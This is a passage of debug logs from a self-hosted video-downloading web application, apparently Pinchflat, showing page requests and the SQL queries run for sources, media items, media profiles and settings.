short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:03:12.509 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:12.510 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 06:03:12.510 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:03:12.511 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:12.512 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 06:03:12.512 [debug] QUERY OK source="media_items" db=0.4ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:03:12.513 [info] Sent 200 in 14ms 06:03:12.664 [info] GET /media_profiles/2 06:03:12.664 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 06:03:12.665 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=155.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:12.667 [debug] QUERY OK source="sources" db=0.5ms idle=155.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 06:03:12.668 [debug] QUERY OK source="settings" db=0.4ms idle=156.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.669 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=156.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.670 [debug] QUERY OK source="settings" db=0.1ms idle=157.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.671 [info] Sent 200 in 6ms 06:03:12.830 [info] GET /sources/36/edit 06:03:12.830 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 06:03:12.832 [debug] QUERY OK source="sources" db=0.4ms idle=165.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:12.833 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=165.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:03:12.834 [debug] QUERY OK source="settings" db=0.3ms idle=165.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.835 [debug] QUERY OK source="settings" db=0.3ms idle=165.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.836 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=166.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.838 [info] Sent 200 in 8ms 06:03:12.984 [info] GET /sources/31/ 06:03:12.984 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 06:03:12.985 [debug] QUERY OK source="sources" db=0.4ms idle=153.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:12.986 [debug] QUERY OK source="media_profiles" db=0.6ms idle=152.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:12.988 [debug] QUERY OK source="tasks" db=0.5ms idle=153.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 06:03:12.989 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=153.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 06:03:12.989 [debug] QUERY OK source="settings" db=0.1ms idle=152.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.989 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.990 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:12.991 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:12.992 [debug] QUERY OK source="media_items" db=0.6ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 06:03:12.993 [debug] QUERY OK source="media_items" db=0.7ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:12.994 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:12.994 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 06:03:12.995 [debug] QUERY OK source="media_items" db=0.5ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:12.996 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:12.997 [debug] QUERY OK source="media_items" db=0.5ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 06:03:12.998 [debug] QUERY OK source="media_items" db=1.0ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:03:12.999 [info] Sent 200 in 15ms 06:03:13.147 [info] GET /sources/30/edit 06:03:13.147 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 06:03:13.149 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=153.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:13.150 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=154.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:03:13.151 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=155.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.152 [debug] QUERY OK source="settings" db=0.4ms idle=155.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.154 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=155.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.162 [info] Sent 200 in 14ms 06:03:13.311 [info] GET /sources/31/ 06:03:13.311 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 06:03:13.313 [debug] QUERY OK source="sources" db=0.4ms idle=163.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:13.314 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=162.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:13.315 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=162.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 06:03:13.316 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.2ms idle=163.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 06:03:13.318 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.319 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.320 [debug] QUERY OK source="settings" db=0.1ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.322 [debug] QUERY OK source="sources" db=0.0ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:13.322 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") 